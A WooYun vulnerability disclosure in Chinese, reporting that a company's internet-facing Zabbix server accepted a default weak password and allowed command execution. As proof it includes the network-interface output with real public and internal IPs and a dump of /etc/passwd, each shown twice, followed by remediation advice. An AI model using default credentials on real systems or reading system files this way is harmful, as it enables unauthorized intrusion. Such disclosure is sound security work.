小马过河zabbix弱口令(导致命令执行) | wooyun-2014-089268| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089268

漏洞标题：小马过河zabbix弱口令(导致命令执行)

漏洞作者：路人甲

提交时间：2014-12-30 17:32

修复时间：2015-02-13 17:34

公开时间：2015-02-13 17:34

漏洞类型：基础设施弱口令

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

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分享漏洞：

漏洞详情

披露状态：

2014-12-30：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-13：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

人人爱我，我为人人

详细说明：

1.站点地址：http://inc.form.xiaoma.com
该地址为小马过河zabbix服务端对外域名，但由于管理员配置不当，导致默认弱口令存在，导致命令执行。

2.命令执行

内网IP

Result of "uname -1"
eth0 Link encap:Ethernet HWaddr f0:1f:af:de:15:3c inet addr:211.157.136.59 Bcast:211.157.136.63 Mask:255.255.255.248 inet6 addr: fe80::f21f:afff:fede:153c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:103417639 errors:0 dropped:448689 overruns:0 frame:0 TX packets:133351882 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10417651248 (10.4 GB) TX bytes:133596529954 (133.5 GB) Interrupt:16 eth1 Link encap:Ethernet HWaddr f0:1f:af:de:15:3d inet addr:192.168.1.203 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::f21f:afff:fede:153d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:73056796 errors:0 dropped:0 overruns:0 frame:0 TX packets:53694858 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:86831890457 (86.8 GB) TX bytes:40302296344 (40.3 GB) Interrupt:17 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:4704673 errors:0 dropped:0 overruns:0 frame:0 TX packets:4704673 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:6370891352 (6.3 GB) TX bytes:6370891352 (6.3 GB)

/etc/passwd配置文件

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:1033:1033:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false whoopsie:x:103:106::/nonexistent:/bin/false landscape:x:104:109::/var/lib/landscape:/bin/false vincent:x:1000:1000:vincent,,,:/home/vincent:/bin/bash sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false ftpuser:x:2001:2001::/dev/null:/sbin/nologin gitdaemon:x:107:65534::/nonexistent:/bin/false git:x:2002:2002::/home/git:/bin/bash jetty:x:2003:2003::/opt/jetty:/sbin/nologin zabbix:x:108:115::/var/lib/zabbix/:/bin/false snmp:x:109:116::/var/lib/snmp:/bin/false snmptt:x:110:117:SNMP Trap Translator,,,:/var/spool/snmptt:/bin/false xiaomajjing:x:1001:1001:,,,:/home/xiaomajjing:/bin/bash xiaomjijing:x:1002:1002:,,,:/home/xiaomjijing:/bin/bash xiaomajijing:x:1003:1003:,,,:/home/xiaomajijing:/bin/bash

3.进一步确认为其内部使用
监控的Web站点

IP反查其为小马过河内部使用核心地址。

漏洞证明：

1.站点地址：http://inc.form.xiaoma.com
该地址为小马过河zabbix服务端对外域名，但由于管理员配置不当，导致默认弱口令存在，导致命令执行。

2.命令执行

内网IP

Result of "uname -1"
eth0 Link encap:Ethernet HWaddr f0:1f:af:de:15:3c inet addr:211.157.136.59 Bcast:211.157.136.63 Mask:255.255.255.248 inet6 addr: fe80::f21f:afff:fede:153c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:103417639 errors:0 dropped:448689 overruns:0 frame:0 TX packets:133351882 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10417651248 (10.4 GB) TX bytes:133596529954 (133.5 GB) Interrupt:16 eth1 Link encap:Ethernet HWaddr f0:1f:af:de:15:3d inet addr:192.168.1.203 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::f21f:afff:fede:153d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:73056796 errors:0 dropped:0 overruns:0 frame:0 TX packets:53694858 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:86831890457 (86.8 GB) TX bytes:40302296344 (40.3 GB) Interrupt:17 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:4704673 errors:0 dropped:0 overruns:0 frame:0 TX packets:4704673 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:6370891352 (6.3 GB) TX bytes:6370891352 (6.3 GB)

/etc/passwd配置文件

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:1033:1033:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false whoopsie:x:103:106::/nonexistent:/bin/false landscape:x:104:109::/var/lib/landscape:/bin/false vincent:x:1000:1000:vincent,,,:/home/vincent:/bin/bash sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false ftpuser:x:2001:2001::/dev/null:/sbin/nologin gitdaemon:x:107:65534::/nonexistent:/bin/false git:x:2002:2002::/home/git:/bin/bash jetty:x:2003:2003::/opt/jetty:/sbin/nologin zabbix:x:108:115::/var/lib/zabbix/:/bin/false snmp:x:109:116::/var/lib/snmp:/bin/false snmptt:x:110:117:SNMP Trap Translator,,,:/var/spool/snmptt:/bin/false xiaomajjing:x:1001:1001:,,,:/home/xiaomajjing:/bin/bash xiaomjijing:x:1002:1002:,,,:/home/xiaomjijing:/bin/bash xiaomajijing:x:1003:1003:,,,:/home/xiaomajijing:/bin/bash

3.进一步确认为其内部使用
监控的Web站点

IP反查其为小马过河内部使用核心地址。

修复方案：

1.增强口令强度
2.限制访问

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

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漏洞概要 关注数(24) 关注此漏洞